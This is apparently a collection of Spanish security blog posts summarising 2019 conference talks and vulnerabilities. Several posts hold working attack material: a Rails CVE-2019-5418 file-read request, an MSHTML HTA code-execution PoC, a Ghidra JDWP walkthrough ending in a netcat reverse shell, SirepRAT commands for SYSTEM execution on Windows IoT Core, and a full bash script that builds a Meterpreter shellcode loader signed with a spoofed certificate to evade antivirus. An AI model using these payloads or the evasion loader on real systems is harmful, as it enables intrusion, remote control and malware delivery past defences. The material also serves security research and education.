iBombShell: Pentesting EveryWhere & EverySystem (by Pablo González y Álvaro Nuñez #hc0n2019)

Cuando recibimos la propuesta de Pablo González y Álvaro Nuñez para hablar de iBombShell en la #hc0n2019 lo teníamos claro. Primero porque Pablo es super majo y uno de los grandes, conocido desde tiempos de Flu-Project, y segundo porque traían a nuestro congreso una herramienta que fue incluida en el arsenal del la BlackHat Europe de 2018.

iBombShell fue desarrollada desde el departamento de Ideas Locas del área del CDO de Telefónica en colaboración con el laboratorio de Innovación de ElevenPaths y se trata de una shell de post-explotación que tiene como objetivo poder usarse prácticamente en cualquier equipo con Windows, gracias a que es descargada desde el repo dinámicamente. Bueno, realmente tiene dos modos de ejecución, el denominado "everywhere" con Powershell y otro adicional llamado "silently" gracias a un C2 escrito en Python.

En la charla se mostraron escenarios reales, y actuales, de pentesting dónde iBombShell trabaja y aporta frescura a los diferentes procesos de un pentest. Tanto si tuviste la oportunidad de asistir al Congreso y ver las demos como si no, ¡te recomendamos probarla!

https://github.com/ElevenPaths/ibombshell

Presentación:


Es Java... ¡no aceptes proyectos de extraños para Ghidra!

Hace unos días veíamos en el blog una pequeña peculiaridad (no diría vulnerabilidad) en Ghidra que permitía ejecutar código remotamente si lanzábamos el programa en modo debug. Pues bien, hoy os traemos una vulnerabilidad XXE (entidad externa XML) identificada por @sghctoma y Tecent Security que se puede provocar al cargar un proyecto en la versión 9.0 de la popular herramienta de reversing de la NSA.

La PoC de la siguiente imagen muestra cómo un atacante puede crear un proyecto GHIDRA completamente nuevo editando el archivo project.prp e insertar el exploit XXE para recibir una simple shell reversa escuchando con netcat:


Otra aplicación interesante es la posibilidad de recibir el hash NTLM explotando esta vulnerabilidad. Java en Windows habilita la autenticación NTLM transparente de forma predeterminada y trata todas las URL como confiables, así que sólo basta con levantar un servidor HTTP con la autenticación NTLM habilitada y usar la vulnerabilidad XXE/SSRF para forzar una autenticación NTLM de la víctima.

Cuando se autentica con NTLMv1, el atacante puede transmitir directamente el Hash Net-NTLM al servicio SMB de la víctima.
En el caso de SMBv2, primero debemos modificar las flags de negociación en el mensaje de tipo 2: 'Negotiate Always Sign' y 'Negotiate 0x00004000'. Esto pasará de autenticación local a autenticación de red, y también eliminará la firma.

La gente de Tecent Security ha publicado además una herramienta llamada UltraRelay basada en Responder e Impack para el envenenamiento LLMNR y reenvío de credenciales NTLM: https://github.com/5alt/ultrarelay

El resultado como puede verse en el siguiente vídeo es bastante autoexplicativo:


- Ghidra From XXE to RCE
- GHIDRA is NSA’s reverse engineering tool released earlier this month.
- Experts found a critical vulnerability in the NSA Ghidra tool

Acceso arbitrario a ficheros en Rails (CVE-2019-5418)

Recientemente se ha publicado una vulnerabilidad en Ruby on Rails que permite acceder arbitrariamente al contenido de los ficheros del servidor.

La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.

Explotación de software moderno en GNU/Linux (by Manuel Blanco #hc0n2019)

Las siguientes diapositivas que vamos a liberar de la pasada h-c0n 2019 Hackplayers' Conference celebrada en Madrid en mes de febrero serán las de Manuel Blanco con su taller "Explotación de software moderno en GNU/Linux".

Manuel Blanco es un persona autodidacta, apasionada por el mundo de la explotación de software, un habitual en el mundo de los CTFs a nivel nacional e internacional con equipos como ID-10-T y w0pr, y estudiante de ingeniería informática en la Universidad Politécnica de Ingeniería de Gijón.

En este taller se explicaron los fundamentos del exploiting en GNU/Linux comenzando por los clásicos Buffer Overflow, pasando por los famosos Out-of-Bounds y llegando hasta Return Oriented Programming, todo ello explicado de una manera interactiva, con ejemplos y ejercicios para llevar todos estos conceptos a la práctica.

Presentación:



MSHTML Engine RCE - CVE-2019-0541

El motor MSHTML de Microsoft Windows posee una vulnerabilidad que permite ejecutar código arbitrario debido a una validación incorrecta de documentos web especialmente diseñados (html, xhtml, etc). Concretamente el problema se desencadena cuando los usuarios "editan" uno de estos documentos especialmente diseñados que contienen una etiqueta HTML 'meta' establecida en 'ProgId' y su contenido establecido en una opción de 'ProgId', por ejemplo. 'HTAFILE', generalmente a través del componente del navegador MS IE o MS Office (la aplicación de edición de HTML 'msohtmed.exe'):
<html>

<head><meta name=ProgId content=htafile>

<!-- htafile is just an exmaple of 'ProgId'...others are possible, you may test all available ProgIds at will! -->

</head>
<hta:application id=x>
<script>

try { if (x.commandLine != "") {

new ActiveXObject('WScript.Shell').Run('calc.exe',1)

}

}

catch(ex) { alert('Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. \n If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...".'); }

</script>

<noscript> Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. <br> If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...". </noscript>

</html>   

Algunas versiones de Office agregan una opción de menú "Editar" a los archivos html y xhtml, lo que permitirá explotar la vulnerabilidad local o remotamente (generalmente a través de recursos compartidos de red). Veamos una PoC rápida:


Esta vulnerabilidad es similar a las antiguas vulnerabilidades de ClassId de Windows Shell/Internet Explorer que han afectado a Windows 98/2000/XP en el pasado.

Afecta a Microsoft Office, Microsoft Office Word Viewer, Internet Explorer 9, Internet Explorer 11, Microsoft Excel Viewer, Internet Explorer 10 y Office 365 ProPlus, y ha sido probado en Windows 7 SP1, Server 2008, Server 2012, Server 2012 R2, 8.0, 8.1, 10 (cualquiera) con todos los parches hasta diciembre de 2018 y en ambas arquitecturas (x86 y x64).

En los sistemas parcheados, el archivo de la PoC siempre se abrirá en el Bloc de notas.

PoC: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46536.zip

Probando el RCE de Ghidra en modo debug

Una de las herramientas más esperadas en las últimas semanas (y probablemente de todo el año) es Ghidra, la herramienta de reversing que recientemente ha publicado la NSA. Está claro que todavía no tiene tantos módulos y file loaders como IDA y, sobretodo, no dispone de debugger (al menos esta versión pública) pero el code browser, el decompilador que funciona con numerosos procesadores, las posibilidades de colaboración y, sobretodo, la liberación del código fuente le hacen ser una herramienta más que interesante.

Pero aún con el código a disposición del público no se han podido evitar suspicacias (hablamos de la NSA) y es que, a poco de publicarse la herramienta, Hackerfantastic encontró una vulnerabilidad de RCE a través del puerto de depuración de JDWP. Que más que una vulnerabilidad es un pequeño "descuido" ya que la configuración por defecto abre el puerto de debug de JDWP, el 18001, a todos los interfaces cuando se ejecuta la herramienta especificamente en modo depuración.

Veamos qué fácil es reproducirlo. Primero lanzamos la herramienta en modo debug (carpeta 'debug'):
user@server:/tools/reversing/ghidra_9.0/support$ ./ghidraDebug 

Si escanemos los puertos vemos que se ha levantado el puerto de debug:
# nmap -p18001,18002 -sV localhost

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-14 22:16 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT      STATE SERVICE     VERSION
18001/tcp open  jdwp        Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.2
18002/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

Y aquí lo sorprendente, podemos comprobar como el puerto 18001 está escuchando en todos los interfaces (0.0.0.0):
user@server:/tools/reversing/ghidra_9.0/support# netstat -an | grep 800
tcp        0      0 0.0.0.0:18001           0.0.0.0:*               LISTEN     
tcp6       0      0 :::18002                :::*                    LISTEN     

Con lo cual, si desde una máquina remota podemos attachar el debugger de Java al servidor corriendo Ghidra (recordar, lanzado en modo debug):
# jdb -attach 192.168.1.81:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...

Una vez dentro, podemos comprobar el classpath:
> classpath
base directory: /tools/reversing/ghidra_9.0/support
classpath: [/tools/reversing/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]

Y dentro de las clases disponibles nos fijamos en las "runnables":
> classes
...
...
org.apache.logging.log4j.core.util.Integers
org.apache.logging.log4j.core.util.Loader
org.apache.logging.log4j.core.util.Log4jThread
org.apache.logging.log4j.core.util.Log4jThreadFactory
org.apache.logging.log4j.core.util.NameUtil
org.apache.logging.log4j.core.util.NanoClock
org.apache.logging.log4j.core.util.NetUtils
org.apache.logging.log4j.core.util.OptionConverter
org.apache.logging.log4j.core.util.Patterns
org.apache.logging.log4j.core.util.ReflectionUtil
org.apache.logging.log4j.core.util.ShutdownCallbackRegistry
org.apache.logging.log4j.core.util.SystemClock
org.apache.logging.log4j.core.util.TypeUtil
org.apache.logging.log4j.core.util.WatchManager
org.apache.logging.log4j.core.util.WatchManager$FileMonitor
org.apache.logging.log4j.core.util.WatchManager$WatchRunnable
org.apache.logging.log4j.core.util.datetime.DateParser
org.apache.logging.log4j.core.util.datetime.DatePrinter
org.apache.logging.log4j.core.util.datetime.FastDateFormat
org.apache.logging.log4j.core.util.datetime.FastDateFormat$1
org.apache.logging.log4j.core.util.datetime.FastDateParser
org.apache.logging.log4j.core.util.datetime.FastDateParser$1
org.apache.logging.log4j.core.util.datetime.FastDateParser$2
org.apache.logging.log4j.core.util.datetime.FastDateParser$3
...
...

Seteamos un breakpoint en la clase en cuestión:
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()

Esperamos un rato breve:
> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Levantamos un netcat a la escucha y ejecutamos lo siguiente para obtener la shell reversa:
Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh")
 new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh") = "Process[pid=5954, exitValue="not exited"]"
Log4j2-TF-4-Scheduled-1[1] 

# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.1.81 55418 received!
whoami
user
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1000(user) gid=1000(user) groups=1000(grupo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ 

Como véis un pequeño "descuido" como decimos, que puede corregirse fácilmente cambiando el "*" por "127.0.0.1" en el fichero de configuración launch.sh:
user@server:/tools/reversing/ghidra_9.0/support# vi launch.sh 

if [ "${MODE}" = "debug" ] || [ "${MODE}" = "debug-suspend" ]; then

        SUSPEND=n

        if [ "{$DEBUG_PORT}" = "" ]; then
                DEBUG_PORT=18001
        fi

        if [ "${MODE}" = "debug-suspend" ]; then
                SUSPEND=y
        fi

        VMARG_LIST+=" -Xdebug"
        VMARG_LIST+=" -Xnoagent"
        VMARG_LIST+=" -Djava.compiler=NONE"
        VMARG_LIST+=" -Dlog4j.configuration=\"${DEBUG_LOG4J}\""
        VMARG_LIST+=" -Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.port=$(($DEBUG_PORT+1))"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.authenticate=false"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.ssl=false"

Tunneling Like a Boss (by José Boix y Luismi Cerrato #hc0n2019)

Qué hacer cuando se ha conseguido un blind RCE o una Webshell en un sistema y se quiere obtener una shell interactiva y después pivotar hacia la red interna? Esta es una pregunta recurrente y que en cada caso encontramos una respuesta diferente. José Boix y Luis Miguel Cerrato expusieron en la h-c0n 2019 todo tipo de técnicas para poder conseguir este objetivo, recreando distintos escenarios variando el nivel de complejidad de la red, impidiendo utilizar técnicas convencionales de tunneling y pivoting.

El principal objetivo de la presentación fue otorgar al público los conocimientos necesarios para poder adaptarse a diferentes escenarios y conocer distintas técnicas para desenvolverse en él, para comprometer la red interna evadiendo mecanismos de defensa. Aquí os dejo la presentación gracias a estos dos cracks:

Presentación:



Loader de Meterpreter firmado con un certificado falso

Astr0baby ha actualizado su generador/loader de meterpreter con una función para falsificar cualquier certificado de una web y firmar un ejecutable con el objetivo de evadir algunos antivirus. El concepto original es de paranoidninja que hace unos meses publicó CarbonCopy, una pequeña herramienta que lo implementaba: https://github.com/paranoidninja/CarbonCopy.

El resultado de incorporar ésto es un script que produce un archivo binario de Windows PE32 de 64 bits con la dirección del servidor del loader de meterpreter y el puerto hardcodeado dentro y, por supuesto, firmado con un certificado falsificado por un sitio web a nuestra elección (google.com por ejemplo). El binario firmado resultante no es verificado por Windows pero agrega una capa adicional de complejidad a los motores AV.

#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Based on NinjaParanoid's CarbonCopy "
echo " "
echo " For Debian based system Ubuntu/Mint "
echo " PE32+ executable (GUI) x86-64 "
echo "****************************************************************"

# Check if we are on Debian/Ubuntu 
if [ $(which dpkg-query | grep -c "dpkg-query") -eq 0 ]; 
then echo "[-] no dpkg-query found in path, not Debian/Ubuntu based system, manually change the scipt" 
echo " This script relies on dpkg-query to check for required packages, if running on other platform" 
echo " Simply remove the section starting from #Debian-start and finishing at #Debian-end" 
echo " Make sure you manually install the dependant packages" 
echo ""
echo "- mingw-w64 "
echo "- python-openssl" 
echo "- osslsigncode" 
exit
fi

echo "[*] Checking if required software is installed " 
dpkg --get-selections mingw-w64 python-openssl osslsigncode 
if [ $(dpkg-query -W -f='${Status}' mingw-w64 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing mingw-w64 run apt-get install mingw-w64"
exit
fi
if [ $(dpkg-query -W -f='${Status}' python-openssl 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing python-openssl run apt-get install python3-openssl"
exit
fi
if [ $(dpkg-query -W -f='${Status}' osslsigncode 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing osslsigncode apt-get install osslsigncode"
exit
fi

echo -en 'Metasploit server IP : ' 
read ip
echo -en 'Metasploit port number : ' 
read port 
echo -en 'Impersonate Certificate https site (www.google.com): ' 
read hostname
echo '#include '> temp.c 
echo '#include ' >> temp.c 
echo '#include ' >> temp.c
echo '#include ' >> temp.c 
echo -n 'unsigned char lambert[]="' >> temp.c 
echo -n $ip >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo -n 'unsigned char omega[]="' >> temp.c 
echo -n $port >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo 'void winsock_init() {' >> temp.c 
echo ' WSADATA wsaData;' >> temp.c 
echo ' WORD wVersionRequested;' >> temp.c 
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c 
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c 
echo ' printf("bad\n"); '>> temp.c 
echo ' WSACleanup(); '>> temp.c 
echo ' exit(1);'>> temp.c 
echo ' }' >> temp.c 
echo ' }' >> temp.c 
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c 
echo ' printf("r %s\n", error);'>> temp.c 
echo ' closesocket(my_socket);'>> temp.c 
echo ' WSACleanup();'>> temp.c 
echo ' exit(1);' >> temp.c 
echo ' }' >> temp.c 
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c 
echo ' int tret = 0;'>> temp.c 
echo ' int nret = 0;'>>temp.c 
echo ' void * startb = buffer;'>> temp.c 
echo ' while (tret < len) {'>>temp.c 
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c 
echo ' startb += nret;'>> temp.c 
echo ' tret += nret;'>>temp.c 
echo ' if (nret == SOCKET_ERROR)'>> temp.c 
echo ' punt(my_socket, "no data");'>> temp.c 
echo ' }'>>temp.c 
echo ' return tret;'>> temp.c 
echo '}' >> temp.c 
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c 
echo ' struct hostent * target;' >> temp.c 
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c 
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c 
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c 
echo ' punt(my_socket, ".");'>>temp.c 
echo ' target = gethostbyname(targetip);'>>temp.c 
echo ' if (target == NULL)'>>temp.c 
echo ' punt(my_socket, "..");'>>temp.c 
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c 
echo ' sock.sin_family = AF_INET;'>> temp.c 
echo ' sock.sin_port = htons(port);'>>temp.c 
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c 
echo ' punt(my_socket, "...");'>>temp.c 
echo ' return my_socket;'>>temp.c 
echo '}' >> temp.c 
echo 'int main(int argc, char * argv[]) {' >> temp.c 
echo ' FreeConsole();'>>temp.c 
echo ' Sleep(15);'>>temp.c 
echo ' ULONG32 size;'>>temp.c 
echo ' char * buffer;'>>temp.c 
echo ' void (*function)();'>>temp.c 
echo ' winsock_init();'>> temp.c 
echo ' SOCKET my_socket = wsconnect(lambert, atoi(omega));'>>temp.c 
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c 
echo ' if (count != 4 || size <= 0)'>>temp.c 
echo ' punt(my_socket, "error lenght\n");'>>temp.c 
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c 
echo ' if (buffer == NULL)'>>temp.c 
echo ' punt(my_socket, "error in buf\n");'>>temp.c 
echo ' buffer[0] = 0xBF;'>>temp.c 
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c 
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c 
echo ' function = (void (*)())buffer;'>>temp.c 
echo ' function();'>>temp.c 
echo ' return 0;'>>temp.c 
echo '}' >> temp.c 
echo '(+) Compiling binary ..' 
x86_64-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows 
ls -la temp.c
strip payload.exe 
file=`ls -la payload.exe` ; echo '(+)' $file

#Cleanup previous run 
rm -f carboncopy.py
cat <> carboncopy.py
#!/usr/bin/python3

##Author : Paranoid Ninja
##Email  : paranoidninja@protonmail.com
##Descr  : Spoofs SSL Certificates and Signs executables to evade Antivirus


from OpenSSL import crypto
from sys import argv, platform
import ssl
import os
import subprocess

def CarbonCopy(host, port, signee, signed):

    try:
        #Fetching Details
        print("[+] Loading public key of %s in Memory..." % host)
        ogcert = ssl.get_server_certificate((host, int(port)))
        x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)

        certDir = r'certs'
        if not os.path.exists(certDir):
            os.makedirs(certDir)

        #Creating Fake Certificate
        CNCRT = certDir + "/" + host + ".crt"
        CNKEY = certDir + "/" + host + ".key"
        PFXFILE = certDir + "/" + host + '.pfx'

        #Creating Keygen
        k = crypto.PKey()
        k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))
        cert = crypto.X509()

        #Setting Cert details from loaded from the original Certificate
        print("[+] Cloning Certificate Version")
        cert.set_version(x509.get_version())
        print("[+] Cloning Certificate Serial Number")
        cert.set_serial_number(x509.get_serial_number())
        print("[+] Cloning Certificate Subject")
        cert.set_subject(x509.get_subject())
        print("[+] Cloning Certificate Issuer")
        cert.set_issuer(x509.get_issuer())
        print("[+] Cloning Certificate Registration & Expiration Dates")
        cert.set_notBefore(x509.get_notBefore())
        cert.set_notAfter(x509.get_notAfter())
        cert.set_pubkey(k)
        print("[+] Signing Keys")
        cert.sign(k, 'sha256')

        print("[+] Creating %s and %s" %(CNCRT, CNKEY))
        open(CNCRT, "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
        open(CNKEY, "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode('utf-8'))
        print("[+] Clone process completed. Creating PFX file for signing executable...")

        pfx = crypto.PKCS12Type()
        pfx.set_privatekey(k)
        pfx.set_certificate(cert)
        pfxdata = pfx.export()

        with open((PFXFILE), 'wb') as pfile:
            pfile.write(pfxdata)

        if (platform == "win32"):
            print("[+] Platform is Windows OS...")
            print("[+] Signing %s with signtool.exe..." %(signed))
            print(subprocess.check_output("copy " + signee + " " + signed, shell=True).decode())
            print(subprocess.check_output("signtool.exe sign /v /f " + PFXFILE + " /d \"MozDef Corp\" /tr \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\" /td SHA256 /fd SHA256 " + signed, shell=True).decode())

        else:
            print("[+] Platform is Linux OS...")
            print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE))
            args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", "http://sha256timestamp.ws.symantec.com/sha256/timestamp", "-in", signee, "-out", signed)
            popen = subprocess.Popen(args, stdout=subprocess.PIPE)
            popen.wait()
            output = popen.stdout.read()
            print("[+] " + output.decode('utf-8'))

    except Exception as ex:
        print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))

def main():
    if (len(argv) != 5):
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n\n[+] Descr: Impersonates the Certificate of a website\n[!] Usage: " + argv[0] + "    \n")
    else:
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n")
        CarbonCopy(argv[1], argv[2], argv[3], argv[4])

if __name__=="__main__":
    main()

EOF

python ./carboncopy.py $hostname 443 ./payload.exe ./payload-signed.exe
ls -la ./payload-signed.exe 
osslsigncode verify ./payload-signed.exe

Tor DIY (by @dsecuma #hc0n2019)

La siguiente presentación que vamos a liberar es a petición de un colega que hoy nos la ha solicitado... Se trata de 'Tor DIY' de David Santos aka @dsecuma una interesantísima (y práctica) charla en la que se empezaba con una introducción al funcionamiento interno de TOR para posteriormente mostrar como montar una red Tor aislada de la red Tor pública y las vicisitudes con los ISPs.

Además, David nos mostró finalmente como emplearla como entorno de laboratorio para realizar ataques/pruebas en nodos de salida.

Presentación:



Nuevo exploit para ownear dispositivos con Windows IoT Core

Windows 10 IoT Core es el sucesor de Windows Embedded y actualmente 2 de cada 10 dispositivos IoT utilizan el sistema operativo de M$ (Linux prácticamente copa el mercado).

Recientemente, en la conferencia de seguridad WOPR Summit de Nueva Jersey, la investigadora Dor Azouri de SafeBreach ha publicado un exploit que aprovecha una vulnerabilidad del protocolo de comunicaciones Sirep/WPCon/TShell y que puede permitir a un atacante ejecutar comandos con privilegios de SYSTEM.

Básicamente, lo que hicieron fue romper el protocolo y demostrar cómo expone una interfaz de comando remoto para los atacantes, que incluye capacidades RAT como descargar o subir archivos arbitrarios y obtener información del sistema.

Eso sí, para comprometer al dispositivo IoT es necesario estar en la misma LAN que el dispositivo y la vulnerabilidad sólo afecta a la versión Core asÌ que Windows IoT Enterprise parece estar a salvo (de momento).

Sobre la base de la investigación sobre el servicio y el protocolo, crearon además una herramienta escrita en Python llamada SirepRAT que ya podemos encontrar en Github:

https://github.com/SafeBreach-Labs/SirepRAT

Descargar archivo

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" -v

Subir archivo

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Ejecutar cualquier programa

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Con argumentos, impersonando al usuario actualmente conectado:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Intenta ejecutarlo sin el flag as_logged_on_user para demostrar la capacidad de ejecución con SYSTEM)

Conseguir información del sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Obtener información de un fichero

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Ver ayuda:

python SirepRAT.py --help

Fuentes:

https://www.woprsummit.org/talks
https://www.muyseguridad.net/2019/03/04/vulnerabilidad-en-windows-iot-core/
https://www.zdnet.com/article/new-exploit-lets-attackers-take-control-of-windows-iot-core-devices/